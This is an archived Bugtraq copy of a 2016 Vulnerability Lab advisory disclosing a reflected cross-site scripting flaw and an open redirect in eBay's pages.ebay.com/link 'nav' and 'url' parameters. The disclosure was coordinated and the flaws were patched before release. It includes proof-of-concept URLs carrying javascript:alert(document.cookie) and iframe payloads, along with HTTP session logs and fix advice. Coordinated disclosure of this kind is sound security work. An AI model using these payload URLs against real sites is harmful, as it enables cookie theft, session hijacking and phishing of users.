[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Ebay Inc (Pages) - Client Side Cross Site Scripting Vulnerabilities
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Ebay Inc (Pages) - Client Side Cross Site Scripting Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 8 Feb 2016 12:09:14 +0100
Document Title:
===============
Ebay Inc (Pages) - Client Side Cross Site Scripting Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1626
Release Date:
=============
2016-02-07
Vulnerability Laboratory ID (VL-ID):
====================================
1626
Common Vulnerability Scoring System:
====================================
3.4
Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer
corporation, headquartered in San Jose, California. It was founded by Pierre
Omidyar in 1995,
and became a notable success story of the dot-com bubble; it is now a
multi-billion dollar business with operations localized in over thirty
countries. The company
manages eBay.com, an online auction and shopping website in which people and
businesses buy and sell a broad variety of goods and services worldwide. In
addition to
its auction-style sellings, the website has since expanded to include `Buy It
Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via
Half.com);
online classified advertisements online event ticket trading online money
transfers and other services.
(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple
client-side vulnerabilities in the official Ebay Inc Pages online service
web-application.
Vulnerability Disclosure Timeline:
==================================
2015-10-27: Researcher Notification & Coordination (Daniel Diaz)
2015-10-27: Vendor Notification (Ebay Inc - Security Team)
2015-11-03: Vendor Response/Feedback (Ebay Inc - Security Team)
2016-02-06: Vendor Fix/Patch (Ebay Inc - Security Team)
2016-02-07: Vendor Fix/Patch (Ebay Inc - Developer Team) [Acknowledgements]
2016-02-07: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Ebay Pages - Online Service (Web-Application) 2015 Q4
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple client-side web vulnerabilities has been discovered in the official
Ebay Pages online service web-application.
The first vulnerability allows remote attacker to inject client-side script
codes to compromise browser to application requests.
The second vulnerability allows remote attacker to redirect client-side browser
to application request for external manipulation.
The first vulnerability is a client-side cross site scripting vulnerability
that is located in the nav value of the vulnerable link module.
The domain pages.ebay.com/link/ has two parameters `nav` and `url`. The `nav`
parameter receives as argument `webview`. If an attacker sends
a javascript code like `javascript:alert(document.cookie)` the code will
execute in the same reply. The attack vector of the issue is non-
persistent and the request method to inject/execute is GET.
The second vulnerability is a client-side open redirect web vulnerability that
is located in the url value of the vulnerable link module.
The `url` parameter receives as argument an url or javascript code. If an
attacker sends an url like `http://www.google.es` the application
will open the malicious webpage. The attack vector of the issue is
non-persistent and the request method to redirect is GET.
The security risk of the client-side vulnerabilities is estimated as medium
with a cvss (common vulnerability scoring system) count of 3.4.
Exploitation of the security vulnerabilities requires no privilege
web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities results in session hijacking,
non-persistent phishing, non-persistent external redirects,
non-persistent load of malicious script codes or non-persistent web module
context manipulation.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Ebay Pages > /link
Vulnerable Parameter(s):
[+] nav
[+] url
Affected Module(s):
[+] webview
Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers without privileged
web-application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: Client Side Cross Site Scripting
http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.domain)
http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.cookie)
http://pages.ebay.com/link/?nav=webview&url=iframe:src=http://www.vulnerability-lab.com
PoC: Source
</head><body>
<div id="splash">
<svg id="ebylogo" viewBox="0 0 324 130"
xmlns:dc="http://purl.org/dc/elements/1.1/";
xmlns:cc="http://creativecommons.org/ns#";
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#";
xmlns:svg="http://www.w3.org/2000/svg"; xmlns="http://www.w3.org/2000/svg";
version="1.1" xml:space="preserve">
<metadata id="metadata8">
<rdf:RDF>
<cc:Work rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage"; />
</cc:Work>
</rdf:RDF>
</metadata>
<defs id="defs6"/>
<g transform="matrix(1.25,0,0,-1.25,0,129.7875)" id="g10">
<g transform="scale(0.1,0.1)" id="g12">
<path d="m 136.129,557.801 c 0,0 9.266,165.039
195.519,165.094 185.571,0.046 185.571,-165.094 185.571,-165.094
l -381.09,0 z M 334.844,809.07 C 11.0391,809.137 -1.54297,557.062
0.113281,491.625 c 0,0 -15.859381,-294.695 326.804719,-294.695 294.445,
0 308.941,184.91 308.941,184.91 l -135.468,-0.274 c 0,0 -26.383,-101.867
-172.914,-99.14 -188.375,3.508 -195.692,186.008 -195.692,186.008 l 521.871,
0 c 0,0 39.602,340.57 -318.812,340.636" id="path14"
style="fill:#ee273b;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
<path d="m 986.215,284.918 c -205.61,-2.578
-202.266,218.074 -202.266,218.074 0,0 -7.496,
212.395 201.942,217.852 209.409,5.461 202.599,-222.383 202.599,-222.383 0,0
3.34,-210.945 -202.275,-213.543 z M 1016.12,809.07 C 853.312,
809.984 783.266,712.656 783.266,712.656 l 0,325.634 -130.524,0 2.207,-688.208 c
0,0 -0.785,-80.164 -5.719,-133.144 l 126.77,0 5.441,77.316 c 0,
0 59.133,-97.324 231.939,-97.324 172.83,0 309.28,106.422 312.92,303.797
3.63,197.378 -147.35,307.441 -310.18,308.343"
id="path16" style="fill:#2d62b7;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
<path d="m 1588.25,280.16 c 0,0 -130.82,-0.156
-138.49,104.363 -8.18,111.543 201.26,104.836 201.26,104.836 l
147.96,0.149 c 0,0 23.96,-212.422 -210.73,-209.348 z m 341.11,72.637 c
0.32,89.023 2.93,168.512 0,224.582 -3.43,65.012 2.73,221.918 -278.34,
233.516 0,0 -269.47,24.558 -297.45,-176.004 l 137.82,0 c 0,0 10.7,91.886
150.54,89.246 132.34,-2.5 156.45,-67.414 155.77,-147.235 0,0
-113.43,-0.32 -151.28,-0.511 -68.22,-0.34 -306.95,-7.903 -329.23,-153.313 C
1290.68,250.18 1445,196.242 1565.74,196.93 c 120.75,0.679 189.64,
36.836 240.81,101.636 l 5.47,-80.488 120.07,0.688 c 0,0 -3.1,45.007
-2.73,134.031" id="path18"
style="fill:#f9a50d;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
<path d="m 1857.95,787.246 151.43,0 221.49,-441.605 221.95,441.605 136.9,0 L
2189.02,0 2042.6,0 l 115.96,218.766
-300.61,568.48" id="path20"
style="fill:#5fbf32;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
</g>
</g>
</svg>
</div>
<img style="display:none" width="1" height="1" alt="" title=""
src="http://rover.ebay.com/roverimp/0/0/9?imp=2046809"/>
</body>
</html>
--- PoC Session Logs [GET] ---
Status: 304[Not Modified]
GET
http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.cookie)
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des
Inhalts[-1] Mime Type[application/x-unknown-content-type]
Request Header:
Host[pages.ebay.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[npii=btguid/a8d2551b1500a62058347f34fbac003858109e95^cguid/a8d2551b1500a62058347f34fbac003758109e95^;
ebay=%5Edv%3D562f6b10%5Esbf%3D1048576%5E; dp1=btzo/-3c59f1d210^idm/15630bc90^;
ds2=ssts/1445948177836^]
Connection[keep-alive]
If-Modified-Since[Tue, 27 Oct 2015 11:59:06 GMT]
If-None-Match[f4c21154051531986879f9ae221d1409]
Response Header:
Server[Apache-Coyote/1.1]
Etag[f4c21154051531986879f9ae221d1409]
Last-Modified[Tue, 27 Oct 2015 12:06:51 GMT]
Date[Tue, 27 Oct 2015 12:16:33 GMT]
PoC: Open Redirect
http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET
http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des
Inhalts[2076] Mime Type[text/html]
Request Header:
Host[pages.ebay.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[npii=btguid/a8d2551b1500a62058347f34fbac003858109ea3^cguid/a8d2551b1500a62058347f34fbac003758109ea3^;
ebay=%5Edv%3D562f6b10%5Esbf%3D1048576%5E; dp1=btzo/-3c59f1d210^idm/15630bc90^;
ds2=ssts/1445948177836^]
Connection[keep-alive]
Response Header:
Server[Apache-Coyote/1.1]
Etag[f4c21154051531986879f9ae221d1409]
Last-Modified[Tue, 27 Oct 2015 11:39:23 GMT]
Content-Encoding[gzip]
Content-Type[text/html;charset=UTF-8]
Content-Length[2076]
Date[Tue, 27 Oct 2015 12:19:26 GMT]
13:19:25.049[588ms][total 723ms] Status: 200[OK]
GET http://www.vulnerability-lab.com/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des
Inhalts[76652] Mime Type[text/html]
Request Header:
Host[www.vulnerability-lab.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com]
Cookie[PHPSESSID=df69fc7036e1108f80ce131d57f8b610]
Connection[keep-alive]
Response Header:
Cache-Control[no-store, no-cache, must-revalidate, post-check=0,
pre-check=0]
Pragma[no-cache]
Content-Type[text/html]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Server[Microsoft-IIS/8.5]
X-Powered-By[ASP.NET]
X-Powered-By-Plesk[PleskWin]
Date[Tue, 27 Oct 2015 12:19:31 GMT]
Content-Length[76652]
Reference(s):
http://pages.ebay.com/
http://pages.ebay.com/link/
Solution - Fix & Patch:
=======================
The open redirect vulnerability can be patched by a restriction of the
vulnerable url parameter. Approve the context and validate the request urls to
prevent malicious redirects.
The client-side cross site scripting web vulnerability can be patched by a
secure parse and encode of the vulnerable nav value in the link module GET
method request.
Restrict the input to the parameter value and disallow special chars to prevent
client-side script code injection attacks.
Security Risk:
==============
The security risk of the client-side vulnerabilities in the official ebay
online service pages
Credits & Authors:
==================
Daniel Díez Tainta - (@DaniLabs)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a
particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential
loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen
material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx -
research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx
Section: magazine.vulnerability-db.com -
vulnerability-lab.com/contact.php -
evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php -
vulnerability-lab.com/list-of-bug-bounty-programs.php -
vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All
other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts,
advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To
record, list (feed), modify, use or edit our material contact
(admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a
permission.
Copyright © 2016 | Vulnerability Laboratory -
[Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx